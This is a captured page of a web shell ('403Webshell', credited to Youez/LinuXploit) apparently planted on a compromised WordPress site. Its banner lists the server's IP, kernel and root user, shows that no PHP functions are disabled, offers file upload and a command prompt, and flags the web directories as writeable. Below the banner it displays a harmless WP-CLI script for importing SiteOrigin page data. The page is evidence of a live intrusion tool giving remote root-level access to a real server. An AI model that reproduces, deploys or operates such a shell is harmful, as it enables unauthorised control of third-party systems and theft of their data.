403Webshell
Server IP : 198.71.58.22  /  Your IP : 216.73.216.72
Web Server : Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
System : Linux localhost 5.14.0-570.33.2.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 14 07:37:35 EDT 2025 x86_64
User : root ( 0)
PHP Version : 8.3.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/maryobrienslp.com/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/maryobrienslp.com/templates/import_so_page.php
<?php
/**
 * Import SiteOrigin panels_data from a JSON file exported by export_so_page.php.
 * Usage: wp --allow-root eval-file import_so_page.php <json_file>
 *
 * The JSON file must contain page_id and panels_data at minimum.
 * Optionally flushes SiteOrigin widget cache after import.
 */

$json_file = isset( $args[0] ) ? $args[0] : '';

if ( ! $json_file ) {
    WP_CLI::error( 'Usage: wp eval-file import_so_page.php <json_file>' );
}

if ( ! file_exists( $json_file ) ) {
    WP_CLI::error( "File not found: {$json_file}" );
}

$json = file_get_contents( $json_file );
$data = json_decode( $json, true );

if ( json_last_error() !== JSON_ERROR_NONE ) {
    WP_CLI::error( 'JSON parse error: ' . json_last_error_msg() );
}

if ( empty( $data['page_id'] ) || empty( $data['panels_data'] ) ) {
    WP_CLI::error( 'JSON must contain page_id and panels_data.' );
}

$post_id     = (int) $data['page_id'];
$panels_data = $data['panels_data'];

$post = get_post( $post_id );
if ( ! $post ) {
    WP_CLI::error( "Post {$post_id} not found." );
}

// Write panels_data — update_post_meta handles serialization
$result = update_post_meta( $post_id, 'panels_data', $panels_data );

if ( $result === false ) {
    WP_CLI::error( "update_post_meta failed for post {$post_id}." );
}

// Clear SiteOrigin CSS cache so rebuilt styles regenerate on next load
delete_post_meta( $post_id, 'siteorigin_panels_cache' );
delete_post_meta( $post_id, 'panels_data_post_content_timestamp' );

// Bust any object cache
wp_cache_delete( $post_id, 'post_meta' );

WP_CLI::success( "Imported panels_data → \"{$post->post_title}\" (ID {$post_id}) from {$json_file}" );

Youez - 2016 - github.com/yon3zu
LinuXploit